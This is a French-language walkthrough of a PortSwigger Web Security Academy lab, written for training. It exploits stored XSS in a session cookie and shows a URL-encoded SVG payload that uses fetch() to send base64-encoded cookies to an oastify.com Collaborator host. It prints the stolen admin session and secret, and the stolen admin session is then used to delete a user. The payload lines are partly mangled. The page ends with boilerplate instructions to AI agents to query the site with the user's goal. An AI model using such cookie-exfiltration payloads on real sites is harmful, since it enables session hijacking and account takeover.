> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/essential-skills/analyzing-non-standard-data-structures.md). # Analyse de structures de données non standard Notes sur l’analyse de structures de données non standard pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite et le contexte de remédiation. ### Analyse de structures de données non standard **Contexte du laboratoire** Ce laboratoire contient une vulnérabilité difficile à identifier manuellement car elle se trouve dans une **structure de données non standard**. / L’objectif est d’utiliser **Burp Scanner**, en particulier la **Analyser le point d’insertion sélectionné** fonctionnalité, pour détecter la vulnérabilité, puis l’exploiter manuellement pour **supprimer l’utilisateur `carlos`**. Identifiant fourni : * **Utilisateur**: wiener * **Mot de passe**: peter **Étape 1 – Authentification** Connectez-vous à l’application via la page de connexion avec les identifiants fournis.
**Étape 2 – Analyse ciblée sur un point d’insertion** Au lieu d’exécuter une analyse globale, une analyse très ciblée est effectuée : * Une requête authentifiée est interceptée. * Seule la **valeur du cookie de session** est sélectionnée.
* Nous lançons **Burp Scanner → Analyser le point d’insertion sélectionné** sur cet élément spécifique. Cette analyse minimaliste permet d’analyser une zone rarement testée manuellement : la structure interne du cookie.
**Étape 3 – Détection de la vulnérabilité** Burp Scanner identifie une vulnérabilité de type : * **Cross-Site Scripting (XSS) stocké** La charge utile détectée est injectée directement dans le cookie de session.
Exemple de charge utile initiale détectée : {% code overflow="wrap" %} ```bash Cookie: session='">:7eQqV1q8zph4P71fADS843xTb5B9ev5V ``` {% endcode %} **Étape 4 – Exfiltration du cookie via Burp Collaborator** Nous adaptons la charge utile pour extraire `document.cookie` le contenu vers notre serveur Collaborator, encodé en Base64 : {% code overflow="wrap" %} ```bash Cookie: session='">:7eQqV1q8zph4P71fADS843xTb5B9ev5V ``` {% endcode %} Ensuite, nous **URL-encoder** la charge utile avant injection : ```bash ' %22%3e%3csvg%2fonload%3dfetch(%60%2f%2fuqo5wxufqik239ij6afcc710crik6hu6%5c.oastify.com%2f%24%7bbtoa(document.cookie)%7d%60)%3e%3a7eQqV1q8zph4P71fADS843xTb5B9ev5V ```
**Étape 5 – Récupération et décodage du cookie administrateur** Le serveur Collaborator reçoit une requête contenant le cookie encodé en Base64 : ```bash GET /c2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY7IHNlY3JldD1TTjhvd081cHQ3d2Zsb2IxVkhSWG11U2E1YmI4MmlHWDsgc2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY= ``` Après décodage, nous obtenons : ```bash session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv; secret=SN8owO5pt7wflob1VHRXmuSa5bb82iGX; session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv ```
**Étape 6 – Accès administrateur et opération finale** En utilisant le cookie de session admin : * L’interface **admin** est accessible. * Une page interne de **journaux** est accessible. * Cette page affichait les cookies sans filtrage, ce qui explique la persistance du **XSS stocké**. * Il est alors possible de supprimer l’utilisateur **carlos** et de valider le laboratoire.
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/web/essential-skills/analyzing-non-standard-data-structures.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.